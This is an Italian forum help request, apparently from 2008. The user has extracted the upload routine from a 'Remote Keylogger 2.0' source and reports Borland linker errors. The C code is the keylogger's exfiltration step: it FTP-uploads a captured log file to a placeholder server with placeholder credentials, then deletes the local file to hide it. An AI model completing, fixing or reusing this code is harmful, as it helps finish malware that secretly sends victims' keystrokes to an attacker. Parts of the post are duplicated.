09/02/08 11:23
rafdg87
Ciao, ho scaricato dal sito il sorgente Remote Keylogger 2.0
di__GiReX__ . a me serviva la parte relativa a uppare un file in rete. tuttavia il mio compilatore mi da un errore. Ecco il codice che io ho usato.:
e questo e l'errore:
come posso risolvere?
di__GiReX__ . a me serviva la parte relativa a uppare un file in rete. tuttavia il mio compilatore mi da un errore. Ecco il codice che io ho usato.:
#include <stdio.h> #include <stdlib.h> #include <windows.h> #include <wininet.h> #define LOGDIR "D:\Documenti\Lello\prova.txt" int main(){ HINTERNET connessione, sessione_ftp; connessione = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); if(!connessione) { printf("\n*** INIZIO CONNESSIONE FALLITO ***\n"); } sessione_ftp = InternetConnect(connessione,"TUO_FTP",INTERNET_DEFAULT_FTP_PORT, "TUO_USERNAME","TUA_PASS", INTERNET_SERVICE_FTP, 0,0 ); if(!sessione_ftp) { printf("\n*** INIZIO SESSIONE FTP FALLITA ***\n"); } if(!FtpPutFile(sessione_ftp, LOGDIR, "prova.txt", INTERNET_FLAG_TRANSFER_BINARY, 0)){ printf("\n*** INVIO FILE FALLITO ***\n"); } InternetCloseHandle(sessione_ftp); InternetCloseHandle(connessione); DeleteFile(LOGDIR); // SE UPPATO CANCELLO IL FILE }
e questo e l'errore:
---------- Capture Output ---------- > "C:\Borland\BCC55\bin\bcc32.exe" int.c Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland int.c: Warning W8070 int.c 26: Function should return a value in function main Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland Error: Unresolved external 'InternetOpenA' referenced from D:\DOCUMENTI\LELLO\KEYLOG\INT.OBJ Error: Unresolved external 'InternetConnectA' referenced from D:\DOCUMENTI\LELLO\KEYLOG\INT.OBJ Error: Unresolved external 'FtpPutFileA' referenced from D:\DOCUMENTI\LELLO\KEYLOG\INT.OBJ Error: Unresolved external 'InternetCloseHandle' referenced from D:\DOCUMENTI\LELLO\KEYLOG\INT.OBJ > Terminated with exit code 1.
come posso risolvere?
aaa